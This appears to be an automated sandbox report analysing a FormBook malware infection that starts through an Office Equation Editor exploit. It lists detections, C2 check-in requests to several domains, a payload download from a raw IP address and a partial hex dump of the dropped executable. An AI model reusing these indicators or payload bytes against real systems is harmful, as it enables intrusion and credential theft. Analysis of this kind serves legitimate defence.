"0x4102ad8d", "0x857bf6a6", "0xd3ec6064", "0x23145fc4", "0xc026698f", "0x8f5385d8", "0x2430512b", "0x3ebe9086", "0x4c6fddb5", "0x276db13e", "0xe00f0a8e", "0x85cf9404", "0xb2248784", "0xcdc7e023", "0x11f5f50", "0x1dd4bc1c", "0x8235fce2", "0xc72ce2d5", "0x263178b", "0x57585356", "0x9cb95240", "0xcc39fef", "0x9347ac57", "0x9d9522dc", "0x911bc70e", "0x74443db9", "0xf04c1aa9", "0x6484bcb5", "0x11fc2f72", "0x2b44324f", "0x9d70beea", "0x59adf952", "0x172ac7b4", "0x5d4b4e66", "0xed297eae", "0xa88492a6", "0xb21b057c", "0x70f35767", "0xb6f4d5a8", "0x67cea859", "0xc1626bff", "0xb4e1ae2", "0x24a48dcf", "0xe11da208", "0x1c920818", "0x65f4449c", "0xc30bc050", "0x3e86e1fb", "0x9e01fc32", "0x216500c2", "0x48e207c9", "0x2decf13e", "0x19996921", "0xb7da3dd7", "0x47f39d2b", "0x6777e2de", "0xd980e37f", "0x963fea3b", "0xacddb7ea", "0x110aec35", "0x647331f3", "0x2e381da4", "0x50f66474", "0xec16e0c0", "0xf9d81a42", "0xd6c6f9db", "0xef3df91", "0x60e0e203", "0x7c81caaf", "0x71c2ec76", "0x25e431cc", "0x106f568f", "0x6a60c8a9", "0xb758aab3", "0x3b34de90", "0x700420f5", "0xee359a7e", "0xd1d808a", "0x47ba47a5", "0xff959c4c", "0x5d30a87d", "0xaa95a900", "0x80b19064", "0x9c5a481a", "0x1dd252d", "0xdb3055fc", "0xe0cf8bf1", "0x3a48eabc", "0xf0472f97", "0x4a6323de", "0x4260edca", "0x53f7fb4f", "0x3d2e9c99", "0xf6879235", "0xe6723cac", "0xe184dfaa", "0xe99ffaa0", "0xf6aebe25", "0xefadf9a5", "0x215de938", "0x757906aa", "0x84f8d766", "0xb6494f65", "0x13a75318", "0x5bde5587", "0xe9eba2a4", "0x6b8a0df3", "0x9c02f250", "0xe52a2a2e", "0xdb96173c", "0x3c0f2fc", "0xc30c49a6", "0xcb591d7f", "0x5c4ee455", "0x7c81c71d", "0x11c6f95e", "----------------------------

Multi AV Scanner detection for domain / URL

Show sources

Source: ismaelworks.com

Virustotal: Detection: 6%

Perma Link

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000005.00000002.2203086612.0000000000080000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2372400870.0000000000080000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2203183179.00000000002C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2372523372.0000000000210000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2203219773.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2157787740.0000000003B59000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2372501174.00000000001E0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 5.2.vbc.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.vbc.exe.400000.1.raw.unpack, type: UNPACKEDPE

Machine Learning detection for dropped file

Show sources

Source: C:\Users\Public\vbc.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\hm2[1].exe	Joe Sandbox ML: detected

Source: 5.2.vbc.exe.400000.1.unpack

Avira: Label: TR/Crypt.ZPACK.Gen

Exploits:

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Show sources

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Process created: C:\Users\Public\vbc.exe

Jump to behavior

Source: unknown

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding

Compliance:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\Public\vbc.exe

Unpacked PE file: 4.2.vbc.exe.c70000.3.unpack

Uses new MSVCR Dlls

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Binary contains paths to debug symbols

Show sources

Source:	Binary string: wntdll.pdb source: vbc.exe, wlanext.exe
Source:	Binary string: wlanext.pdb source: vbc.exe, 00000005.00000002.2203256000.0000000000559000.00000004.00000020.sdmp

Software Vulnerabilities:

Source: global traffic

DNS query: name: www.kolamart.com

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 18.194.54.219:80

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 18.194.54.219:80

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49170 -> 198.185.159.144:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49170 -> 198.185.159.144:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49170 -> 198.185.159.144:80

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 27 Jan 2021 19:06:06 GMTServer: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.7Last-Modified: Wed, 27 Jan 2021 13:44:29 GMTETag: "df000-5b9e1f85fb6d0"Accept-Ranges: bytesContent-Length: 913408Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 ac 6d 11 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 50 00 00 e6 0d 00 00 08 00 00 00 00 00 00 9e 04 0e 00 00 20 00 00 00 20 0e 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 0e 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 48 04 0e 00 53 00 00 00 00 20 0e 00 e8 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0e 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a4 e4 0d 00 00 20 00 00 00 e6 0d 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 e8 05 00 00 00 20 0e 00 00 06 00 00 00 e8 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 40 0e 00 00 02 00 00 00 ee 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 04 0e 00 00 00 00 00 48 00 00 00 02 00 05 00 20 34 0a 00 28 d0 03 00 03 00 00 00 42 00 00 06 38 52 04 00 e8 e1 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 41 1c 87 bd ac 04 65 6d 61 1a 99 ca f0 1d 0f da 48 e7 40 a0 df 6b 0d 26 58 55 c0 d2 55 96 02 08 67 e5 f9 dc 7f ed 8b af fb ec fe bf de f3 9f 11 8b ee 98 df 7c be 17 20 e7 cd ae fc 30 59 c8 bb cf d9 42 f1 1a 93 c4 67 3b c7 3d 99 90 d1 f0 79 be c1 23 df b5 62 7f ed 13 c7 ac 4a 9b ec 75 1a 38 9d 8f f6 8d 78 70 38 67 3d cb cb ca 1f af 1b c5 55 ee 2a 9b 41 cc f8 01 2f 6f 29 92 84 02 e8 8e f1 38 e9 e8 d7 39 7b 8d b2 61 89 d0 94 e7 3b 40 55 f5 31 93 82 4d 90 b5 20 3c 85 9d eb 2a 9f 90 74 94 29 df 08 81 82 99 52 47 f0 e2 ad 00 4f f6 ba bc 63 44 41 b2 e0 91 08 6c 02 c9 14 46 44 4e 1c 4a 70 73 eb 81 e8 3a 86 cd 64 46 9d 4b 50 24 9d 9d 71 db 32 07 4b 14 bc e9 b6 32 07 96 3d ae e7 c0 e0 2a 7c 2f b7 17 b2 16 af cd a6 9d 63 26 c1 4b a0 d8 5b e7 d0 e4 e2 bf 29 1c c4 9f 34 06 9c 1a a4 64 8d 55 a1 8f b8 3b 72 bf 60 a3 02 5d 92 e1 e2 8f 0e 98 7d da f7 de 35 16 f8 6b a3 64 34 33 fd 15 32 4c

Source: global traffic	HTTP traffic detected: GET /bw82/?OxlhlP1x=U5qlNe3qvCiRDMVNZAk3bGcrOcPwpu2hHSyAkQWR0ho6UxGTq/9WR3TB3nENm+o2HqQ7BQ==&-Zz=NpM4AdWXGTqt_ry0 HTTP/1.1Host: www.kolamart.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /bw82/?OxlhlP1x=92sn3P3pA19WcJiefsZEcwqQjW3QIGzSMGjo0scjbpzKmVTSJHG7E3+45hmGj5CVb2tavg==&-Zz=NpM4AdWXGTqt_ry0 HTTP/1.1Host: www.mgg360.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /bw82/?OxlhlP1x=AJ+QNFfsTFGsedRB1oQHABBFVni950JEMBOKAlzmtW9JOrHkbqbPAoxgnlDKI2ECKqRl+w==&-Zz=NpM4AdWXGTqt_ry0 HTTP/1.1Host: www.rizrvd.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /bw82/?OxlhlP1x=kkzs7wdh+d5Am/pShfiLHnYXY/z1ZZpbk/YksZMR2IH2vaFa+RYbCDDaBA0EFHNpIzx4Vw==&-Zz=NpM4AdWXGTqt_ry0 HTTP/1.1Host: www.activagebenefits.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /bw82/?OxlhlP1x=cQgJWKf5RX1pgHqtrNlNvU1Wcwt7yBWYkREyiU0JrpPbxB8OGrmWpa/gYGeP1DcG9D81oQ==&-Zz=NpM4AdWXGTqt_ry0 HTTP/1.1Host: www.usmedicarenow.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /bw82/?OxlhlP1x=fbWA8CenQ3TkeqVhPkQUacOFLjWRhlcbsLRP5XQKQo+1RaQPyvftJQY27dLrrakP9R1/fg==&-Zz=NpM4AdWXGTqt_ry0 HTTP/1.1Host: www.ismaelworks.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: Joe Sandbox View	IP Address: 66.152.187.17 66.152.187.17
Source: Joe Sandbox View	IP Address: 198.185.159.144 198.185.159.144

Source: Joe Sandbox View	ASN Name: MULTA-ASN1US MULTA-ASN1US
Source: Joe Sandbox View	ASN Name: AMAZON-02US AMAZON-02US

Source: global traffic

HTTP traffic detected: GET /wows/hm2.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 18.194.54.219Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\32ED815C.emf

Jump to behavior

Source: global traffic	HTTP traffic detected: GET /wows/hm2.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 18.194.54.219Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bw82/?OxlhlP1x=U5qlNe3qvCiRDMVNZAk3bGcrOcPwpu2hHSyAkQWR0ho6UxGTq/9WR3TB3nENm+o2HqQ7BQ==&-Zz=NpM4AdWXGTqt_ry0 HTTP/1.1Host: www.kolamart.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /bw82/?OxlhlP1x=92sn3P3pA19WcJiefsZEcwqQjW3QIGzSMGjo0scjbpzKmVTSJHG7E3+45hmGj5CVb2tavg==&-Zz=NpM4AdWXGTqt_ry0 HTTP/1.1Host: www.mgg360.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /bw82/?OxlhlP1x=AJ+QNFfsTFGsedRB1oQHABBFVni950JEMBOKAlzmtW9JOrHkbqbPAoxgnlDKI2ECKqRl+w==&-Zz=NpM4AdWXGTqt_ry0 HTTP/1.1Host: www.rizrvd.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /bw82/?OxlhlP1x=kkzs7wdh+d5Am/pShfiLHnYXY/z1ZZpbk/YksZMR2IH2vaFa+RYbCDDaBA0EFHNpIzx4Vw==&-Zz=NpM4AdWXGTqt_ry0 HTTP/1.1Host: www.activagebenefits.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /bw82/?OxlhlP1x=cQgJWKf5RX1pgHqtrNlNvU1Wcwt7yBWYkREyiU0JrpPbxB8OGrmWpa/gYGeP1DcG9D81oQ==&-Zz=NpM4AdWXGTqt_ry0 HTTP/1.1Host: www.usmedicarenow.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /bw82/?OxlhlP1x=fbWA8CenQ3TkeqVhPkQUacOFLjWRhlcbsLRP5XQKQo+1RaQPyvftJQY27dLrrakP9R1/fg==&-Zz=NpM4AdWXGTqt_ry0 HTTP/1.1Host: www.ismaelworks.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: <FavoriteIcon>http://www.facebook.com/favicon.ico</FavoriteIcon> equals www.facebook.com (Facebook)
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: <FavoriteIcon>http://www.myspace.com/favicon.ico</FavoriteIcon> equals www.myspace.com (Myspace)
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: <FavoriteIcon>http://www.rambler.ru/favicon.ico</FavoriteIcon> equals www.rambler.ru (Rambler)
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: <URL>http://www.facebook.com/</URL> equals www.facebook.com (Facebook)
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: <URL>http://www.rambler.ru/</URL> equals www.rambler.ru (Rambler)
Source: explorer.exe, 00000006.00000000.2166477724.0000000003C40000.00000002.00000001.sdmp	String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)

Source: unknown

DNS traffic detected: queries for: www.kolamart.com

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 27 Jan 2021 19:04:11 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingData Raw: 31 63 31 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 53 79 73 74 65 6d 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2f 2a 20 42 61 73 65 20 2a 2f 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 33 33 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 3a 20 31 34 70 78 20 56 65 72 64 61 6e 61 2c 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 68 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 27 4d 69 63 72 6f 73 6f 66 74 20 59 61 48 65 69 27 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 32 30 70 78 20 32 30 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 6f 72 64 2d 62 72 65 61 6b 3a 20 62 72 65 61 6b 2d 77 6f 72 64 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 68 31 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 31 30 70 78 20 30 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 33 32 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 68 32 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 34 32 38 38 63 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 36 70 78 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 36 70 78 20 30 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 65 65 65 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 68 33 2e 73 75 62 68 65 61 64 69 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 34 32 38 38 63 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a

Source: explorer.exe, 00000006.00000000.2178834889.000000000A330000.00000008.00000001.sdmp	String found in binary or memory: http://%s.com
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://amazon.fr/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://ariadna.elmundo.es/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://ariadna.elmundo.es/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://arianna.libero.it/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://arianna.libero.it/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://asp.usatoday.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://asp.usatoday.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://auone.jp/favicon.ico
Source: explorer.exe, 00000006.00000000.2178834889.000000000A330000.00000008.00000001.sdmp	String found in binary or memory: http://auto.search.msn.com/response.asp?MT=
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://br.search.yahoo.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://browse.guardian.co.uk/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://browse.guardian.co.uk/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://busca.buscape.com.br/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://busca.buscape.com.br/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://busca.estadao.com.br/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://busca.igbusca.com.br/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://busca.igbusca.com.br//app/static/images/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://busca.orange.es/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://busca.uol.com.br/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://busca.uol.com.br/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://buscador.lycos.es/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://buscador.terra.com.br/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://buscador.terra.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://buscador.terra.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://buscador.terra.es/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://buscar.ozu.es/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://buscar.ya.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://busqueda.aol.com.mx/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://cerca.lycos.it/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://cgi.search.biglobe.ne.jp/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://cgi.search.biglobe.ne.jp/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://clients5.google.com/complete/search?hl=
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://cnet.search.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://cnweb.search.live.com/results.aspx?q=
Source: explorer.exe, 00000006.00000000.2167227314.0000000004B50000.00000002.00000001.sdmp	String found in binary or memory: http://computername/printers/printername/.printer
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://corp.naukri.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://corp.naukri.com/favicon.ico
